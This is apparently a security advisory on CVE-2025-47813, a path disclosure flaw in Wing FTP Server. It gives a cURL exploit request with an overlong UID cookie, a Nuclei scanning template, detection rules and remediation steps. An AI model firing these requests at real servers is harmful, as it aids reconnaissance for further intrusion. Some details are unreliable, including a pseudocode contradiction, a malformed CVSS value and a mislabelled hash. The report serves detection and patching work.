CVE-2025-47813

Executive Summary

CVE-2025-47813 is an authenticated information disclosure vulnerability affecting Wing FTP Server versions prior to 7.4.4. The flaw resides in the /loginok.html endpoint, where an overly long UID cookie value triggers an error response that reveals the full local installation path of the application. This path disclosure aids attackers in mapping the filesystem for further exploitation, such as CVE-2025-47812. The vulnerability has a CVSS v4.0 base score of 5.3 (Medium) and a low EPSS score of 0.22858%, indicating limited active exploitation. A public proof-of-concept exists via a Nuclei template.

Supply Chain & Package Security

This vulnerability does not affect NPM, PyPI, Go, or Ruby packages. It is specific to the Wing FTP Server binary distribution.

CVSS Breakdown & Threat Level

• CVSS v4.0 Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NH
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Attack Requirements: None (AT:N)
• Privileges Required: Low (PR:L) - requires valid session
• User Interaction: None (UI:N)
• Vulnerable System Confidentiality: Low (VC:L)
• Vulnerable System Integrity: None (VI:N)
• Vulnerable System Availability: None (VA:N)
• Subsequent System Confidentiality: None (SC:N)
• Subsequent System Integrity: None (SI:N)
• Subsequent System Availability: None (SA:NH)

Threat Level: Medium. The vulnerability requires authentication but provides valuable reconnaissance data for attackers.

Deep Dive & Mechanics

The vulnerability exists in the loginok.html endpoint of Wing FTP Server. When a user authenticates, the server sets a UID cookie to track the session. The server fails to properly validate the length of this cookie value. By sending an overlong UID cookie (e.g., 2048 'A' characters), the server's error handling routine includes the full local filesystem path in the HTTP response body. This occurs because the server attempts to process the malformed cookie and outputs debug or error information containing the installation directory.

The disclosed path can be a Windows path (e.g., C:\Program Files\Wing FTP Server\) or a Linux path (e.g., /usr/local/wingftpserver/). This information is critical for attackers to understand the file system layout, enabling them to target specific files or directories in subsequent attacks.

Vulnerable vs. Patched Code

Vulnerable Code (versions < 7.4.4): The server does not validate the length of the UID cookie. When an overlong value is received, the error handler outputs the full path.

# Pseudocode of vulnerable behavior
def handle_loginok(request):
    uid = request.cookies.get('UID')
    if len(uid) > MAX_UID_LENGTH:  # No such check exists
        # Error handling that includes path
        return f"Error: Server Path: {os.getcwd()}"
    # ... normal processing

Patched Code (version 7.4.4): The server now validates the UID cookie length and sanitizes error messages to prevent path disclosure.

# Pseudocode of patched behavior
MAX_UID_LENGTH = 256

def handle_loginok(request):
    uid = request.cookies.get('UID')
    if len(uid) > MAX_UID_LENGTH:
        return "Error: Invalid session"
    # ... normal processing

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid session cookie (any authenticated user, including anonymous)
• Target running Wing FTP Server <= 7.4.3

Exploitation Steps:

1. Obtain a valid session by authenticating (e.g., anonymous login).
2. Send a POST request to /loginok.html with an overlong UID cookie.
3. Extract the filesystem path from the response body.

Example using cURL:

# Generate a long UID cookie value (2048 'A's)
LONGUID=$(python3 -c "print('A'*2048)")

# Send the exploit request
curl -X POST "http://target:port/loginok.html" \
  -H "Cookie: UID=$LONGUID" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=anonymous&password=test"

Expected Response:

Error: Server Path: C:\Program Files\Wing FTP Server\...

Blue Team

Detection:

• Monitor for HTTP requests to /loginok.html with abnormally long Cookie headers.
• Alert on response bodies containing filesystem paths (e.g., C:\, /usr/).

Hunting:

• Search web server logs for UID cookie values exceeding 256 characters.
• Look for error responses containing "Server Path" or filesystem path patterns.

Lab Setup:

1. Deploy a vulnerable Wing FTP Server (version 7.4.3) in an isolated environment.
2. Use the provided Nuclei template or cURL command to trigger the vulnerability.
3. Observe the path disclosure in the response.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST requests to /loginok.html with Cookie: UID=<overlong string> (e.g., 2048+ characters).
  • HTTP responses containing "Server Path" followed by a filesystem path (e.g., C:\..., /usr/...).
• File System:
  • No file system artifacts; this is a server-side information leak.
• Logs:
  • Web server logs showing UID cookie values with excessive length.
  • Error logs containing installation path references.

Detection Engineering

YARA Rule

rule CVE_2025_47813_WingFTP_Path_Disclosure {
    meta:
        description = "Detects Wing FTP Server path disclosure via overlong UID cookie"
        author = "Valters IT"
        date = "2025-06-01"
        reference = "CVE-2025-47813"
        hash = "4b0a00483046022100f72e90d12eb73ccd2128d786ace2ad9eddbec788971cb22d43d33ab86268128f022100f248db222d1056174b66a22d62049fcd51fabd8448584dc4e2a38ed17810a53c"
    strings:
        $path_windows = /[a-zA-Z]:[\\/][^A\r\n]{10,}/ nocase
        $path_linux = /\/usr\/[^\s]+/ nocase
        $error_msg = "Server Path" nocase
        $cookie_long = /UID=[A-Z]{500,}/ nocase
    condition:
        any of ($path_*) and $error_msg and $cookie_long
}

Sigma Rule

title: Wing FTP Server Path Disclosure via Overlong UID Cookie
id: 7b3e1c2d-8f4a-4e5b-9c6d-0a1b2c3d4e5f
status: experimental
description: Detects exploitation attempts of CVE-2025-47813 by monitoring for overlong UID cookies in HTTP requests to /loginok.html
author: Valters IT
date: 2025-06-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47813
    - https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/loginok.html'
        cs-cookie|contains: 'UID='
        cs-cookie|length: > 256
    condition: selection
falsepositives:
    - Legitimate long cookies (unlikely)
level: medium
tags:
    - attack.t1083
    - cve.2025.47813

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-47813 Wing FTP Server Path Disclosure Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/loginok.html"; http_uri; content:"UID="; http_cookie; pcre:"/UID=[A-Z]{500,}/Ri"; classtype:attempted-recon; sid:1000001; rev:1;)

Nuclei Template (Provided)

id: CVE-2025-47813

info:
  name: Wing FTP Server <= 7.4.3 - Path Disclosure via Overlong UID Cookie
  author: rcesecurity,pdteam
  severity: medium
  description: |
    Wing FTP Server versions prior to 7.4.4 are vulnerable to an authenticated information disclosure vulnerability (CVE-2025-47813).
    The vulnerability occurs due to improper validation of the 'UID' session cookie in the /loginok.html endpoint. Supplying an
    overlong UID value causes the server to respond with an error that includes the full local filesystem path. This can aid in further
    exploitation (e.g., CVE-2025-47812) by revealing the application’s file system layout.
  impact: |
    Authenticated attackers can supply an overlong UID cookie value to trigger error responses that disclose the full local filesystem path, aiding in further exploitation attempts.
  remediation: |
    Upgrade Wing FTP Server to version 7.4.4 or later that properly validates UID cookie values.
  reference:
    - https://www.rcesecurity.com/2025/06/what-the-null-wing-ftp-server-rce-cve-2025-47812/
    - https://www.wftpserver.com
  classification:
    epss-score: 0.22858
    epss-percentile: 0.95913
    cve-id: CVE-2025-47813
    cwe-id: CWE-209
    cvss-score: 5.3
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:NH
  metadata:
    product: wftpserver
    vendor: wing_ftp_server
    verified: false
    shodan-query:
      - http.html_hash:2121146066
      - http.favicon.hash:963565804
      - title:"Wing FTP Server"
      - "Server: Wing FTP Server"
    fofa-query:
      - icon_hash="963565804"
      - title="Wing FTP Server"
    zoomeye-query:
      - app="Wing FTP Server"
  tags: cve,cve2025,wingftp,unauth,exposure,vuln,kev,vkev

variables:
  longuid: "{{repeat('A', 2048)}}"

http:
  - method: POST
    path:
      - "{{BaseURL}}/loginok.html"

    headers:
      Cookie: "UID={{longuid}}"
      Content-Type: application/x-www-form-urlencoded

    body: "username=anonymous&password=test"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "Server Path"
          - "Error"
          - ":\\\\"  # Windows path
          - "/usr/"  # Linux path
        condition: or

      - type: word
        part: header
        words:
          - "Wing FTP Server"

    extractors:
      - type: regex
        part: body
        regex:
          - '([a-zA-Z]:[\\/][^A\r\n]{10,})'
# digest: 4b0a00483046022100f72e90d12eb73ccd2128d786ace2ad9eddbec788971cb22d43d33ab86268128f022100f248db222d1056174b66a22d62049fcd51fabd8448584dc4e2a38ed17810a53c:922c64590222798bb761d5b6d8e72950

Remediation & Mitigation

Immediate Actions:

1. Upgrade Wing FTP Server to version 7.4.4 or later.
2. If immediate upgrade is not possible, implement a Web Application Firewall (WAF) rule to block requests with UID cookie values exceeding 256 characters.
3. Restrict access to /loginok.html to trusted IP addresses only.

Long-Term Measures:

• Enforce strict input validation on all cookie values.
• Sanitize error messages to prevent disclosure of internal paths.
• Conduct regular security audits and penetration testing.
• Monitor for similar vulnerabilities in other endpoints.

Valters IT Signature

This report was generated by Valters IT DevSecOps Intelligence. For questions, contact Secure Channels (Signal / Portal).

{/* [Security Hash: 6A1F64E5950F93DFDD0279DC] */}